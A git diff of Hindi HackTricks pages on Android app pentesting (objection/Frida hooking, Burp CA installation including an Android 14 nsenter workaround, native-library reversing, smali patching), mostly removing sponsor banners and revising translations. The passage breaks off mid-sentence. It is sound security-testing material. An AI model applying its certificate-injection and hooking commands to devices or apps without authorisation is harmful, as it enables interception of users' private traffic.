- -**बग बाउंटी टिप**: **साइन अप** करें **Intigriti** के लिए, एक प्रीमियम **बग बाउंटी प्लेटफार्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक के बाउंटी कमाना शुरू करें! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md index 4bc159673..531959331 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md @@ -2,37 +2,33 @@ {{#include ../../../banners/hacktricks-training.md}} - -**Bug bounty tip**: **साइन अप करें** **Intigriti** के लिए, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक के बाउंटी कमाना शुरू करें! -{% embed url="https://go.intigriti.com/hacktricks" %} +## **परिचय** -## **Introduction** +**objection - रनटाइम मोबाइल अन्वेषण** -**objection - Runtime Mobile Exploration** +[**Objection**](https://github.com/sensepost/objection) एक रनटाइम मोबाइल अन्वेषण टूलकिट है, जो [Frida](https://www.frida.re) द्वारा संचालित है। इसे मोबाइल अनुप्रयोगों और उनकी सुरक्षा स्थिति का आकलन करने में मदद करने के उद्देश्य से बनाया गया था, बिना किसी जेलब्रोकन या रूटेड मोबाइल डिवाइस की आवश्यकता के। -[**Objection**](https://github.com/sensepost/objection) एक रनटाइम मोबाइल एक्सप्लोरेशन टूलकिट है, जो [Frida](https://www.frida.re) द्वारा संचालित है। इसे मोबाइल एप्लिकेशनों और उनकी सुरक्षा स्थिति का आकलन करने में मदद करने के उद्देश्य से बनाया गया था, बिना किसी जेलब्रोकन या रूटेड मोबाइल डिवाइस की आवश्यकता के। +**नोट:** यह किसी प्रकार का जेलब्रेक / रूट बाईपास नहीं है। `objection` का उपयोग करके, आप अभी भी उस लागू सैंडबॉक्स द्वारा लगाए गए सभी प्रतिबंधों से सीमित हैं जिनका आप सामना कर रहे हैं। -**Note:** यह किसी प्रकार का जेलब्रेक / रूट बायपास नहीं है। `objection` का उपयोग करके, आप अभी भी उन सभी प्रतिबंधों से सीमित हैं जो आप जिस लागू सैंडबॉक्स का सामना कर रहे हैं, द्वारा लगाए गए हैं। +### फिर से शुरू करें -### Resume +**objection** का **लक्ष्य** उपयोगकर्ता को **Frida द्वारा प्रदान किए गए मुख्य क्रियाओं** को कॉल करने देना है। **अन्यथा**, उपयोगकर्ता को हर अनुप्रयोग के लिए एक **एकल स्क्रिप्ट** बनानी होगी जिसे वह परीक्षण करना चाहता है। -**objection** का **लक्ष्य** उपयोगकर्ता को **Frida द्वारा प्रदान की जाने वाली मुख्य क्रियाओं** को कॉल करने देना है। **अन्यथा**, उपयोगकर्ता को हर एप्लिकेशन के लिए **एकल स्क्रिप्ट** बनानी होगी जिसे वह परीक्षण करना चाहता है। - -## Tutorial +## ट्यूटोरियल इस ट्यूटोरियल के लिए मैं उस APK का उपयोग करने जा रहा हूँ जिसे आप यहाँ डाउनलोड कर सकते हैं: {% file src="../../../images/app-release.zip" %} -या इसके [मूल रिपॉजिटरी ](https://github.com/asvid/FridaApp) से (download app-release.apk) +या इसके [मूल भंडार ](https://github.com/asvid/FridaApp) से (app-release.apk डाउनलोड करें) -### Installation +### स्थापना ```bash pip3 install objection ``` -### Connection +### कनेक्शन एक **नियमित ADB कनेक्शन** बनाएं और डिवाइस में **frida** सर्वर **शुरू** करें (और जांचें कि frida क्लाइंट और सर्वर दोनों में काम कर रहा है)। @@ -43,7 +39,7 @@ objection --gadget asvid.github.io.fridaapp explore ``` ### Basic Actions -इस ट्यूटोरियल में सभी संभावित objections के कमांड सूचीबद्ध नहीं किए जाएंगे, केवल वे जो मुझे अधिक उपयोगी लगे हैं। +इस ट्यूटोरियल में सभी संभावित आदेशों की सूची नहीं दी जाएगी, केवल वे जो मुझे अधिक उपयोगी लगे हैं। #### Environment @@ -81,14 +77,14 @@ android root simulate #Attempts to simulate a rooted Android environment. ```bash android shell_exec whoami ``` -#### स्क्रीनशॉट्स +#### स्क्रीनशॉट ```bash android ui screenshot /tmp/screenshot android ui FLAG_SECURE false #This may enable you to take screenshots using the hardware keys ``` -### स्थिर विश्लेषण को गतिशील बनाना +### स्थैतिक विश्लेषण को गतिशील बनाना -एक वास्तविक एप्लिकेशन में, हमें इस भाग में खोजी गई सभी जानकारी का ज्ञान होना चाहिए, इससे पहले कि हम **objection** का उपयोग करें, धन्यवाद **स्थिर विश्लेषण**। खैर, इस तरीके से आप शायद **कुछ नया** देख सकते हैं क्योंकि यहाँ आपके पास केवल कक्षाओं, विधियों और निर्यातित वस्तुओं की एक पूर्ण सूची होगी। +एक वास्तविक एप्लिकेशन में, हमें इस भाग में खोजी गई सभी जानकारी का ज्ञान होना चाहिए, इससे पहले कि हम **objection** का उपयोग करें, धन्यवाद **स्थैतिक विश्लेषण**। खैर, इस तरीके से आप शायद **कुछ नया** देख सकते हैं क्योंकि यहाँ आपके पास केवल कक्षाओं, विधियों और निर्यातित वस्तुओं की एक पूर्ण सूची होगी। यदि आप किसी तरह एप्लिकेशन का **पढ़ने योग्य स्रोत कोड** प्राप्त करने में **असमर्थ** हैं, तो यह भी उपयोगी है। @@ -101,7 +97,7 @@ android hooking list activities android hooking list services android hooking list receivers ``` -Frida एक त्रुटि लॉन्च करेगा यदि कोई नहीं पाया गया +Frida कोई त्रुटि लॉन्च करेगा यदि कोई नहीं पाया गया #### वर्तमान गतिविधि प्राप्त करना ```bash @@ -117,7 +113,7 @@ android hooking search classes asvid.github.io.fridaapp ``` ![](<../../../images/image (507).png>) -#### किसी क्लास के मेथड्स खोजें +#### एक क्लास के मेथड्स खोजें अब हम _MainActivity:_ क्लास के अंदर के मेथड्स को निकालते हैं: ```bash @@ -139,7 +135,7 @@ android hooking list class_methods asvid.github.io.fridaapp.MainActivity ```bash android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes. ``` -यह बहुत उपयोगी है यदि आप **क्लास के मेथड को हुक करना चाहते हैं और आपको केवल क्लास का नाम पता है**। आप इस फ़ंक्शन का उपयोग **यह खोजने के लिए कर सकते हैं कि क्लास का कौन सा मॉड्यूल है** और फिर इसके मेथड को हुक कर सकते हैं। +यह बहुत उपयोगी है यदि आप **क्लास के मेथड को हुक करना चाहते हैं और आपको केवल क्लास का नाम पता है**। आप इस फ़ंक्शन का उपयोग **यह खोजने के लिए कर सकते हैं कि क्लास का मालिक कौन सा मॉड्यूल है** और फिर इसके मेथड को हुक कर सकते हैं। ### हुकिंग आसान है @@ -179,7 +175,7 @@ android heap print_instances ``` ![](<../../../images/image (1095).png>) -### कीस्टोर/इंटेंट्स +### Keystore/Intents आप कीस्टोर और इंटेंट्स के साथ खेल सकते हैं: ```bash @@ -200,11 +196,11 @@ memory list modules ``` ![](<../../../images/image (286).png>) -सूची के नीचे आप frida देख सकते हैं: +सूची के नीचे आप फ्रिडा देख सकते हैं: ![](<../../../images/image (1097).png>) -चलो देखते हैं कि frida क्या निर्यात कर रहा है: +चलो देखते हैं कि फ्रिडा क्या निर्यात कर रहा है: ![](<../../../images/image (298).png>) @@ -229,10 +225,6 @@ exit - आप कक्षाओं के उदाहरणों का उपयोग करके उदाहरण के कार्यों को कॉल नहीं कर सकते। और आप कक्षाओं के नए उदाहरण नहीं बना सकते और उनका उपयोग करके कार्यों को कॉल नहीं कर सकते। - एप्लिकेशन द्वारा उपयोग किए जा रहे सभी सामान्य क्रिप्टो विधियों को हुक करने के लिए कोई शॉर्टकट नहीं है (जैसे sslpinnin के लिए) ताकि आप सिफर टेक्स्ट, प्लेन टेक्स्ट, कुंजी, IVs और उपयोग किए गए एल्गोरिदम देख सकें। - -**बग बाउंटी टिप**: **Intigriti** के लिए **साइन अप करें**, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक बाउंटी कमाना शुरू करें! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md index 762f602cd..07900e537 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md @@ -2,11 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**बग बाउंटी टिप**: **साइन अप करें** **Intigriti** के लिए, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक की बाउंटी कमाना शुरू करें! - -{% embed url="https://go.intigriti.com/hacktricks" %} --- @@ -120,10 +115,4 @@ return false send("Hooks installed.") }) ``` -
- -**बग बाउंटी टिप**: **साइन अप** करें **Intigriti** के लिए, एक प्रीमियम **बग बाउंटी प्लेटफार्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक की बाउंटी कमाना शुरू करें! - -{% embed url="https://go.intigriti.com/hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index 0f4805d70..d72e841f1 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -2,9 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## एक वर्चुअल मशीन पर @@ -12,7 +9,7 @@ ![](<../../images/image (367).png>) -**Der प्रारूप में प्रमाणपत्र निर्यात करें** और इसे **Android** द्वारा **समझे जाने योग्य** रूप में **परिवर्तित** करें। ध्यान दें कि **AVD में Android मशीन पर burp प्रमाणपत्र कॉन्फ़िगर करने के लिए** आपको इस मशीन को **`-writable-system`** विकल्प के साथ **चलाना** होगा।\ +**Der प्रारूप में प्रमाणपत्र निर्यात करें** और इसे **उस रूप में परिवर्तित करें** जिसे **Android** **समझ सके।** ध्यान दें कि **AVD में Android मशीन पर burp प्रमाणपत्र कॉन्फ़िगर करने के लिए** आपको इस मशीन को **`-writable-system`** विकल्प के साथ **चलाना** होगा।\ उदाहरण के लिए, आप इसे इस तरह चला सकते हैं: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system @@ -28,15 +25,15 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges adb reboot #Now, reboot the machine ``` -एक बार जब **मशीन रीबूट करना समाप्त कर दे** तो बर्प प्रमाणपत्र इसका उपयोग में होगा! +एक बार जब **मशीन रीबूट करना समाप्त कर दे** तो बर्प प्रमाणपत्र इसका उपयोग कर रहा होगा! ## मैजिक का उपयोग करना -यदि आपने **मैजिक के साथ अपने डिवाइस को रूट किया है** (शायद एक एमुलेटर), और आप **पिछले** **कदमों** का पालन नहीं कर सकते हैं बर्प प्रमाणपत्र स्थापित करने के लिए क्योंकि **फाइल सिस्टम केवल पढ़ने के लिए है** और आप इसे लिखने योग्य फिर से माउंट नहीं कर सकते, तो एक और तरीका है। +यदि आपने **मैजिक के साथ अपने डिवाइस को रूट किया है** (शायद एक एमुलेटर), और आप **पिछले** **कदमों** का पालन नहीं कर सकते हैं बर्प प्रमाणपत्र स्थापित करने के लिए क्योंकि **फाइल सिस्टम केवल पढ़ने के लिए है** और आप इसे फिर से लिखने योग्य नहीं बना सकते, तो एक और तरीका है। [**इस वीडियो**](https://www.youtube.com/watch?v=qQicUW0svB8) में समझाया गया है कि आपको: -1. **एक CA प्रमाणपत्र स्थापित करें**: बस **खींचें और छोड़ें** DER बर्प प्रमाणपत्र को **एक्सटेंशन बदलते हुए** `.crt` में मोबाइल में ताकि यह डाउनलोड फ़ोल्डर में संग्रहीत हो जाए और `Install a certificate` -> `CA certificate` पर जाएं। +1. **एक CA प्रमाणपत्र स्थापित करें**: बस **खींचें और छोड़ें** DER बर्प प्रमाणपत्र को **विस्तार बदलते हुए** `.crt` मोबाइल में ताकि यह डाउनलोड फ़ोल्डर में संग्रहीत हो जाए और `Install a certificate` -> `CA certificate` पर जाएं।
@@ -44,7 +41,7 @@ adb reboot #Now, reboot the machine
-2. **इसे सिस्टम द्वारा विश्वसनीय बनाएं**: मैजिक मॉड्यूल [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (एक .zip फ़ाइल) डाउनलोड करें, इसे फोन में **खींचें और छोड़ें**, फोन में **मैजिक ऐप** पर जाएं और **`Modules`** सेक्शन में, **`Install from storage`** पर क्लिक करें, `.zip` मॉड्यूल का चयन करें और एक बार स्थापित होने पर **रीबूट** करें: +2. **इसे सिस्टम द्वारा विश्वसनीय बनाएं**: मैजिक मॉड्यूल [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (एक .zip फ़ाइल) डाउनलोड करें, इसे फोन में **खींचें और छोड़ें**, फोन में **मैजिक ऐप** पर जाएं और **`Modules`** अनुभाग में, **`Install from storage`** पर क्लिक करें, `.zip` मॉड्यूल का चयन करें और एक बार स्थापित होने पर **रीबूट** करें:
@@ -56,11 +53,11 @@ adb reboot #Now, reboot the machine हाल के एंड्रॉइड 14 रिलीज़ में, सिस्टम-विश्वसनीय प्रमाणपत्र प्राधिकरण (CA) प्रमाणपत्रों के प्रबंधन में एक महत्वपूर्ण बदलाव देखा गया है। पहले, ये प्रमाणपत्र **`/system/etc/security/cacerts/`** में housed थे, जिन्हें रूट विशेषाधिकार वाले उपयोगकर्ताओं द्वारा पहुंचा और संशोधित किया जा सकता था, जिससे सिस्टम में तुरंत आवेदन की अनुमति मिलती थी। हालाँकि, एंड्रॉइड 14 के साथ, संग्रहण स्थान को **`/apex/com.android.conscrypt/cacerts`** में स्थानांतरित कर दिया गया है, जो **`/apex`** पथ के भीतर एक निर्देशिका है, जो स्वाभाविक रूप से अपरिवर्तनीय है। -**APEX cacerts पथ** को लिखने योग्य के रूप में फिर से माउंट करने के प्रयास विफल हो जाते हैं, क्योंकि सिस्टम ऐसी संचालन की अनुमति नहीं देता। अस्थायी फ़ाइल प्रणाली (tmpfs) के साथ निर्देशिका को अनमाउंट या ओवरले करने के प्रयास भी अपरिवर्तनीयता को नहीं रोकते; अनुप्रयोग मूल प्रमाणपत्र डेटा तक पहुंचना जारी रखते हैं चाहे फ़ाइल सिस्टम स्तर पर परिवर्तन हों या न हों। यह लचीलापन **`/apex`** माउंट के PRIVATE प्रोपेगेशन के साथ कॉन्फ़िगर होने के कारण है, यह सुनिश्चित करता है कि **`/apex`** निर्देशिका के भीतर कोई भी संशोधन अन्य प्रक्रियाओं को प्रभावित नहीं करता। +**APEX cacerts पथ** को फिर से लिखने योग्य के रूप में माउंट करने के प्रयास विफल होते हैं, क्योंकि सिस्टम ऐसी संचालन की अनुमति नहीं देता। अस्थायी फ़ाइल प्रणाली (tmpfs) के साथ निर्देशिका को अनमाउंट या ओवरले करने के प्रयास भी अपरिवर्तनीयता को नहीं रोकते; अनुप्रयोग मूल प्रमाणपत्र डेटा तक पहुंचना जारी रखते हैं चाहे फ़ाइल सिस्टम स्तर पर परिवर्तन हों या न हों। यह लचीलापन **`/apex`** माउंट के PRIVATE प्रोपेगेशन के साथ कॉन्फ़िगर होने के कारण है, यह सुनिश्चित करता है कि **`/apex`** निर्देशिका के भीतर कोई भी संशोधन अन्य प्रक्रियाओं को प्रभावित नहीं करता। एंड्रॉइड का प्रारंभिककरण `init` प्रक्रिया द्वारा होता है, जो ऑपरेटिंग सिस्टम शुरू करने पर Zygote प्रक्रिया को भी प्रारंभ करता है। यह प्रक्रिया नए माउंट नामस्थान के साथ अनुप्रयोग प्रक्रियाओं को लॉन्च करने के लिए जिम्मेदार है जिसमें एक निजी **`/apex`** माउंट शामिल है, इस प्रकार इस निर्देशिका में परिवर्तनों को अन्य प्रक्रियाओं से अलग करता है। -फिर भी, उन लोगों के लिए एक समाधान है जिन्हें **`/apex`** निर्देशिका के भीतर सिस्टम-विश्वसनीय CA प्रमाणपत्रों को संशोधित करने की आवश्यकता है। इसमें **`/apex`** को मैन्युअल रूप से फिर से माउंट करना शामिल है ताकि PRIVATE प्रोपेगेशन को हटा दिया जाए, जिससे इसे लिखने योग्य बनाया जा सके। प्रक्रिया में **`/apex/com.android.conscrypt`** की सामग्री को एक अन्य स्थान पर कॉपी करना, **`/apex/com.android.conscrypt`** निर्देशिका को अनमाउंट करना ताकि केवल पढ़ने की बाधा समाप्त हो सके, और फिर सामग्री को **`/apex`** के भीतर उनके मूल स्थान पर पुनर्स्थापित करना शामिल है। इस दृष्टिकोण के लिए प्रणाली क्रैश से बचने के लिए त्वरित कार्रवाई की आवश्यकता होती है। इन परिवर्तनों के प्रणाली-व्यापी आवेदन को सुनिश्चित करने के लिए, `system_server` को पुनरारंभ करने की सिफारिश की जाती है, जो सभी अनुप्रयोगों को प्रभावी रूप से पुनरारंभ करता है और प्रणाली को एक सुसंगत स्थिति में लाता है। +फिर भी, उन लोगों के लिए एक समाधान है जिन्हें **`/apex`** निर्देशिका के भीतर सिस्टम-विश्वसनीय CA प्रमाणपत्रों को संशोधित करने की आवश्यकता है। इसमें PRIVATE प्रोपेगेशन को हटाने के लिए **`/apex`** को मैन्युअल रूप से फिर से माउंट करना शामिल है, जिससे इसे लिखने योग्य बनाया जा सके। प्रक्रिया में **`/apex/com.android.conscrypt`** की सामग्री को एक अन्य स्थान पर कॉपी करना, पढ़ने के लिए केवल बाधा को समाप्त करने के लिए **`/apex/com.android.conscrypt`** निर्देशिका को अनमाउंट करना, और फिर सामग्री को **`/apex`** के भीतर उनके मूल स्थान पर पुनर्स्थापित करना शामिल है। इस दृष्टिकोण के लिए प्रणाली क्रैश से बचने के लिए त्वरित कार्रवाई की आवश्यकता होती है। इन परिवर्तनों के प्रणाली-व्यापी आवेदन को सुनिश्चित करने के लिए, `system_server` को पुनरारंभ करने की सिफारिश की जाती है, जो प्रभावी रूप से सभी अनुप्रयोगों को पुनरारंभ करता है और प्रणाली को एक सुसंगत स्थिति में लाता है। ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -118,9 +115,9 @@ wait # Launched in parallel - wait for completion here echo "System certificate injected" ``` -### NSEnter के माध्यम से बाइंड-माउंटिंग +### Bind-mounting through NSEnter -1. **एक लिखने योग्य निर्देशिका सेट करना**: प्रारंभ में, एक लिखने योग्य निर्देशिका स्थापित की जाती है जो मौजूदा गैर-APEX सिस्टम प्रमाणपत्र निर्देशिका पर `tmpfs` को माउंट करके बनाई जाती है। यह निम्नलिखित कमांड के साथ किया जाता है: +1. **Writable Directory सेट करना**: प्रारंभ में, एक writable directory स्थापित की जाती है जो मौजूदा non-APEX सिस्टम सर्टिफिकेट डायरेक्टरी पर `tmpfs` को माउंट करके बनाई जाती है। यह निम्नलिखित कमांड के साथ किया जाता है: ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` @@ -141,8 +138,5 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/ - [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index 9e8cdc540..8807526da 100644 --- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -2,55 +2,43 @@ {{#include ../../banners/hacktricks-training.md}} -
- -अपने **मोबाइल सुरक्षा** में विशेषज्ञता को 8kSec अकादमी के साथ गहरा करें। हमारे आत्म-गति पाठ्यक्रमों के माध्यम से iOS और Android सुरक्षा में महारत हासिल करें और प्रमाणित हों: - -{% embed url="https://academy.8ksec.io/" %} - **अधिक जानकारी के लिए देखें:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) -Android ऐप्स प्रदर्शन-क्रिटिकल कार्यों के लिए आमतौर पर C या C++ में लिखी गई मूल पुस्तकालयों का उपयोग कर सकते हैं। मैलवेयर निर्माता भी इन पुस्तकालयों का उपयोग करते हैं, क्योंकि इन्हें DEX बाइटकोड की तुलना में उलटना कठिन होता है। यह अनुभाग Android के लिए अनुकूलित रिवर्स इंजीनियरिंग कौशल पर जोर देता है, न कि असेंबली भाषाओं को सिखाने पर। संगतता के लिए ARM और x86 संस्करणों के पुस्तकालय प्रदान किए जाते हैं। +एंड्रॉइड ऐप्स प्रदर्शन-क्रिटिकल कार्यों के लिए आमतौर पर C या C++ में लिखी गई नैटिव लाइब्रेरीज़ का उपयोग कर सकते हैं। मैलवेयर निर्माता भी इन लाइब्रेरीज़ का उपयोग करते हैं, क्योंकि इन्हें DEX बाइटकोड की तुलना में रिवर्स इंजीनियर करना कठिन होता है। यह अनुभाग एंड्रॉइड के लिए अनुकूलित रिवर्स इंजीनियरिंग कौशल पर जोर देता है, न कि असेंबली भाषाओं को सिखाने पर। संगतता के लिए ARM और x86 संस्करणों की लाइब्रेरीज़ प्रदान की जाती हैं। -### Key Points: +### मुख्य बिंदु: -- **Android ऐप्स में मूल पुस्तकालय:** -- प्रदर्शन-गहन कार्यों के लिए उपयोग किया जाता है। -- C या C++ में लिखा गया, जिससे रिवर्स इंजीनियरिंग चुनौतीपूर्ण हो जाती है। -- `.so` (शेयर की गई वस्तु) प्रारूप में पाया जाता है, जो Linux बाइनरी के समान है। -- मैलवेयर निर्माता विश्लेषण को कठिन बनाने के लिए मूल कोड को प्राथमिकता देते हैं। -- **Java Native Interface (JNI) और Android NDK:** -- JNI Java विधियों को मूल कोड में लागू करने की अनुमति देता है। -- NDK मूल कोड लिखने के लिए Android-विशिष्ट उपकरणों का एक सेट है। -- JNI और NDK Java (या Kotlin) कोड को मूल पुस्तकालयों के साथ जोड़ते हैं। -- **पुस्तकालय लोडिंग और निष्पादन:** -- पुस्तकालयों को `System.loadLibrary` या `System.load` का उपयोग करके मेमोरी में लोड किया जाता है। -- पुस्तकालय लोड होने पर JNI_OnLoad निष्पादित होता है। -- Java द्वारा घोषित मूल विधियाँ मूल कार्यों से लिंक होती हैं, जिससे निष्पादन सक्षम होता है। -- **Java विधियों को मूल कार्यों से लिंक करना:** -- **डायनामिक लिंकिंग:** मूल पुस्तकालयों में कार्य नाम एक विशिष्ट पैटर्न से मेल खाते हैं, जिससे स्वचालित लिंकिंग की अनुमति मिलती है। -- **स्टेटिक लिंकिंग:** लिंकिंग के लिए `RegisterNatives` का उपयोग करता है, कार्य नामकरण और संरचना में लचीलापन प्रदान करता है। +- **एंड्रॉइड ऐप्स में नैटिव लाइब्रेरीज़:** +- प्रदर्शन-गहन कार्यों के लिए उपयोग की जाती हैं। +- C या C++ में लिखी गई, जिससे रिवर्स इंजीनियरिंग चुनौतीपूर्ण होती है। +- `.so` (शेयर की गई वस्तु) प्रारूप में पाई जाती हैं, जो लिनक्स बाइनरी के समान है। +- मैलवेयर निर्माता विश्लेषण को कठिन बनाने के लिए नैटिव कोड को प्राथमिकता देते हैं। +- **जावा नैटिव इंटरफेस (JNI) और एंड्रॉइड NDK:** +- JNI जावा विधियों को नैटिव कोड में लागू करने की अनुमति देता है। +- NDK नैटिव कोड लिखने के लिए एंड्रॉइड-विशिष्ट उपकरणों का एक सेट है। +- JNI और NDK जावा (या कोटलिन) कोड को नैटिव लाइब्रेरीज़ के साथ जोड़ते हैं। +- **लाइब्रेरी लोडिंग और निष्पादन:** +- लाइब्रेरीज़ को `System.loadLibrary` या `System.load` का उपयोग करके मेमोरी में लोड किया जाता है। +- लाइब्रेरी लोड होने पर JNI_OnLoad निष्पादित होता है। +- जावा द्वारा घोषित नैटिव विधियाँ नैटिव कार्यों से लिंक होती हैं, जिससे निष्पादन सक्षम होता है। +- **जावा विधियों को नैटिव कार्यों से लिंक करना:** +- **डायनामिक लिंकिंग:** नैटिव लाइब्रेरीज़ में कार्यों के नाम एक विशिष्ट पैटर्न से मेल खाते हैं, जिससे स्वचालित लिंकिंग की अनुमति मिलती है। +- **स्टैटिक लिंकिंग:** लिंकिंग के लिए `RegisterNatives` का उपयोग करता है, जो कार्यों के नामकरण और संरचना में लचीलापन प्रदान करता है। - **रिवर्स इंजीनियरिंग उपकरण और तकनीकें:** -- Ghidra और IDA Pro जैसे उपकरण मूल पुस्तकालयों का विश्लेषण करने में मदद करते हैं। +- Ghidra और IDA Pro जैसे उपकरण नैटिव लाइब्रेरीज़ का विश्लेषण करने में मदद करते हैं। - `JNIEnv` JNI कार्यों और इंटरैक्शन को समझने के लिए महत्वपूर्ण है। -- पुस्तकालयों को लोड करने, विधियों को लिंक करने और मूल कार्यों की पहचान करने का अभ्यास करने के लिए व्यायाम प्रदान किए जाते हैं। +- लाइब्रेरीज़ को लोड करने, विधियों को लिंक करने और नैटिव कार्यों की पहचान करने का अभ्यास करने के लिए व्यायाम प्रदान किए गए हैं। -### Resources: +### संसाधन: - **ARM असेंबली सीखना:** -- अंतर्निहित आर्किटेक्चर की गहरी समझ के लिए सुझाया गया। -- Azeria Labs से [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) की सिफारिश की गई है। -- **JNI और NDK दस्तावेज़:** -- [Oracle का JNI विनिर्देशन](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) -- [Android के JNI टिप्स](https://developer.android.com/training/articles/perf-jni) +- अंतर्निहित आर्किटेक्चर की गहरी समझ के लिए सुझाया गया है। +- [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) Azeria Labs से अनुशंसित है। +- **JNI और NDK दस्तावेज़ीकरण:** +- [Oracle का JNI स्पेसिफिकेशन](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) +- [एंड्रॉइड के JNI टिप्स](https://developer.android.com/training/articles/perf-jni) - [NDK के साथ शुरुआत करना](https://developer.android.com/ndk/guides/) -- **मूल पुस्तकालयों का डिबगिंग:** -- [JEB Decompiler का उपयोग करके Android मूल पुस्तकालयों को डिबग करें](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) - -
- -अपने **मोबाइल सुरक्षा** में विशेषज्ञता को 8kSec अकादमी के साथ गहरा करें। हमारे आत्म-गति पाठ्यक्रमों के माध्यम से iOS और Android सुरक्षा में महारत हासिल करें और प्रमाणित हों: - -{% embed url="https://academy.8ksec.io/" %} +- **नैटिव लाइब्रेरीज़ का डिबगिंग:** +- [JEB डिकंपाइलर का उपयोग करके एंड्रॉइड नैटिव लाइब्रेरीज़ का डिबगिंग](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/smali-changes.md b/src/mobile-pentesting/android-app-pentesting/smali-changes.md index b1ce365e4..eaea22c65 100644 --- a/src/mobile-pentesting/android-app-pentesting/smali-changes.md +++ b/src/mobile-pentesting/android-app-pentesting/smali-changes.md @@ -2,25 +2,19 @@ {{#include ../../banners/hacktricks-training.md}} -
+कभी-कभी एप्लिकेशन कोड को संशोधित करना दिलचस्प होता है ताकि आप छिपी हुई जानकारी तक पहुँच सकें (शायद अच्छी तरह से छिपे हुए पासवर्ड या ध्वज)। फिर, एपीके को डिकंपाइल करना, कोड को संशोधित करना और फिर से संकलित करना दिलचस्प हो सकता है। -अपने **मोबाइल सुरक्षा** में विशेषज्ञता को 8kSec अकादमी के साथ गहरा करें। हमारे आत्म-गति पाठ्यक्रमों के माध्यम से iOS और Android सुरक्षा में महारत हासिल करें और प्रमाणित हों: +**Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) -{% embed url="https://academy.8ksec.io/" %} - -कभी-कभी यह दिलचस्प होता है कि आप एप्लिकेशन कोड को संशोधित करें ताकि आपके लिए छिपी हुई जानकारी तक पहुंच प्राप्त हो सके (शायद अच्छी तरह से छिपे हुए पासवर्ड या ध्वज)। फिर, यह दिलचस्प हो सकता है कि आप apk को डिकंपाइल करें, कोड को संशोधित करें और फिर से संकलित करें। - -**Opcodes संदर्भ:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) - -## तेज़ तरीका +## Fast Way **Visual Studio Code** और 